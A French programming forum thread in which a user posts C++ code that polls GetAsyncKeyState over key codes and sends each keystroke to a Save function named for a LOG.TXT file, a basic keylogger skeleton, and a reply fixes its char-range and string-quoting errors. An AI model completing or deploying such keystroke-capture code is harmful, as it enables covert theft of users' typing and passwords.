Probleme avec dev c++
nymph2641
Messages postés
6
Date d'inscription
Statut
Membre
Dernière intervention
-
arth Messages postés 9374 Date d'inscription Statut Contributeur Dernière intervention -
arth Messages postés 9374 Date d'inscription Statut Contributeur Dernière intervention -
Bonjour,
voila jai un nouveau probleme ;/
voici encore mes lignes
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file);
int main()
{
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,*LOG.TXT*);
}
}
system ("PAUSE");
return 0;
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
cout << key_stroke << endl;
return 0;
}
Quand je click compile, une ligne rouge apparait sur la ligne :
for(i = 8; i <= 190; i++)
merci davance pour vos reponses :P
voila jai un nouveau probleme ;/
voici encore mes lignes
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file);
int main()
{
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,*LOG.TXT*);
}
}
system ("PAUSE");
return 0;
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
cout << key_stroke << endl;
return 0;
}
Quand je click compile, une ligne rouge apparait sur la ligne :
for(i = 8; i <= 190; i++)
merci davance pour vos reponses :P
A voir également:
- Probleme avec dev c++
- Dev c++ - Télécharger - Langages
- Massgrave dev - Accueil - Windows
- Dev home. - Télécharger - Développement
- Dev pascal - Télécharger - Édition & Programmation
- Dev error 426 - Forum jeux en ligne
5 réponses
n'importe quoi ! "char" est bien un type entier au même titre que "int" ou "short" il est généralement codé sur 1 octet. char est signé, c'est à dire qu'il prend des valeurs allant de -128 à 127, donc i<190 sera toujours vrai. à ce moment là, il vaut mieux utiliser "unsigned char" à la place qui va de 0 à 255.
Ton erreur suivante vient du fait qu'une chaine de caractère se met entre guillemets et pas entre astérisques.
Save (i,"LOG.TXT");
Ton erreur suivante vient du fait qu'une chaine de caractère se met entre guillemets et pas entre astérisques.
Save (i,"LOG.TXT");
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question